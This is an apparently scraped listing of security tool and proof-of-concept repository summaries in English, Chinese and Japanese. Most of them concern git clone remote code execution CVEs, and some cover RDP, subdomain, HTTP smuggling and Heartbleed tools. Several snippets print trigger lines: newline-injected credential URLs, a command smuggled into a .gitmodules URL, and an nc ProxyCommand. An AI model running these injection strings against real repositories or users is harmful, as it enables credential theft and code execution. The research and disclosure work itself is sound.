rdpy

RDPY Remote Desktop Protocol in twisted python. RDPY is a pure Python implementation of the Microsoft RDP Remote Desktop Protocol protocol client and server side. RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA...

subdomain3

Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

CVE-2024-32002

CVE-2024-32002 バージョン 1.0.0 このバージョンは、認証されたユーザーがいるリモートターゲットと影響を受けるgitバージョン2.45.0でのみ動作します。 この脆弱性は以下のバージョンのGitに影響します: 2.45.0 概念実証 PoCは、シンボリックリンクを辿るgitのサブモジュールの特定の脆弱な使用法を介して、git cloneコマンドを使用してRCE（リモートコード実行）をトリガーできます。そのため、正常に動作させるにはコンテキストでcore.symlinksがtrueに設定されている必要があります。 注: これは git config --global...

smuggler

root@kitploit: / | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to...

git_rce

CVE-2024-32002: git clone を介した Git RCE の悪用 このリポジトリは、git clone 操作中に RCE を可能にする Git の脆弱性 CVE-2024-32002 を悪用するための PoC を含んでいます。特定の方法でサブモジュールを持つリポジトリを作成することにより、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して .git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注意: この PoC は Windows または Mac システムでのみ動作します。 ブログ記事...

CVE-2025-48384

CVE-2025-48384: 利用回车键攻击git并通过克隆实现RCE 复现自 https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384。所有致谢归 David Leadbeater。 这是该漏洞的一个基本复现尝试。 要触发，在一个有漏洞的git版本上执行 git clone --recursive https://github.com/acheong08/CVE-2025-48384，你会发现在 /tmp/fishsucks 目录下突然出现一个文件。 我能在git 2.50.0版本上复现。 以下是在本地测试时使用的脚本。...

heartbleedscanner

Heartbleed Scanner Network Scanner for OpenSSL Memory Leak CVE-2014-0160 -t parameter to optimize the timeout in seconds. -f parameter to log the memleak of vulnerable systems. -n parameter to scan entire network. -i parameter to scan from a list file. Useful if you already have targets. -r...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260演示记录 git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据，并在远程端请求身份验证时将返回的凭据附加到发出的请求中 root@kitploit: git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考链接: https://bugs.chromium.org/p/project-zero/issues/detail?id=2021...

antisquat

AntiSquat AntiSquat leverages AI techniques such as natural language processing NLP, large language models ChatGPT and more to empower detection of typosquatting and phishing domains. How to use Clone the project via git clone https://github.com/redhuntlabs/antisquat. Install all dependencies by...

hook

amalmurali47/hook このリポジトリは、git clone 操作中に RCE を引き起こす Git の脆弱性 CVE-2024-32002 を悪用する PoC の一部です。このリポジトリには、エクスプロイトで使用される悪意のあるフックが含まれています。 概要 詳細な手順とエクスプロイトの仕組みについては、gitrce リポジトリ またはブログ記事 https://amalmurali.me/posts/git-rce を参照してください。 免責事項...

CVE-2024-32002

CVE-2024-32002: git clone によるGit RCEの悪用 このリポジトリは、git clone 操作中にRCEを可能にするGitの脆弱性CVE-2024-32002を悪用するためのPoCを含んでいます。特定の方法でサブモジュールを構成したリポジトリを作成することで、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンクの処理を悪用して、.git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注意: このPoCはWindowsまたはMacシステムでのみ動作します。 ブログ記事...

CVE-2024-32002

CVE-2024-32002: git clone を介したGit RCEの悪用 このリポジトリは、CVE-2024-32002を悪用するPoCを含んでいます。これはGitの脆弱性で、git clone操作中にRCEを引き起こします。特定の方法でサブモジュールを含むリポジトリを作成することで、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して、.git/ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注記: このPoCはWindowsまたはMacシステムでのみ動作します。 ブログ記事...

CVE-2023-51385_test

验证CVE-2023-51385 首先需要在/.ssh/config中增加如下内容 root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules文件语句中存在命令注入 root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 配置完成后,执行下面的指令触发 root@kitploit: git clone...

git_rce

git cloneを介したRemote Code Execution攻撃 CVE-2024-32002 貢献者 イ・ジョンウ@Roronoawjd 背景説明 本脆弱性は、大文字小文字を区別しないWindowsやMacOSなどのファイルシステムにおいて、サブモジュールを含むgitリポジトリをcloneする際に発生するRCERemote Code Execution脆弱性です。RCEはリモートコード実行脆弱性であり、攻撃者が対象システム上で任意のコマンドを実行できる非常に深刻な脆弱性です。 A/modules/x と a/modules/x...

rcetest

CVE-2024-32002: git clone を介した Git RCE の悪用 このリポジトリには、git clone 操作中に RCE を許可する Git の脆弱性 CVE-2024-32002 を悪用するための PoC が含まれています。特定の方法でサブモジュールを持つリポジトリを作成することにより、攻撃者は大文字と小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して .git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注: この PoC は Windows または Mac システムでのみ動作します。 ブログ記事...

CVE-2018-11235

CVE-2018-11235 用于执行 "git clone --recurse-submodule" 的 RCE 漏洞 CVE-2018-11235...

CVE-2024-10220-githooks

CVE-2024-10220 Prueba ref https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54...

hook

hook gitrce 的子模块： https://github.com/EQSTSeminar/gitrce 攻击场景 kali192.168.216.129 --提供远程仓库地址-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook 脚本post-checkout执行-- Win192.168.216.130 免责声明 本仓库并非旨在作为针对 CVE-2024-32002 的 git clone RCE 漏洞利用。此项目的目的是帮助人们了解该漏洞，并可能测试他们自己的应用程序。...

CVE-2018-11235

CVE-2018-11235 快速开始 要构建 Docker 容器，请使用： root@kitploit: make docker 以下 make 命令应在您机器上的不同终端中并行运行 要启动攻击者服务器的容器，请使用： root@kitploit: make runserver 要启动代表受害者的容器，请使用： root@kitploit: make runclient 该容器将运行 client.py 脚本。该脚本会将其 IP 地址和用户名发送给攻击者。 请按照客户端控制台中的说明来克隆恶意 git 仓库。 root@kitploit: git clone...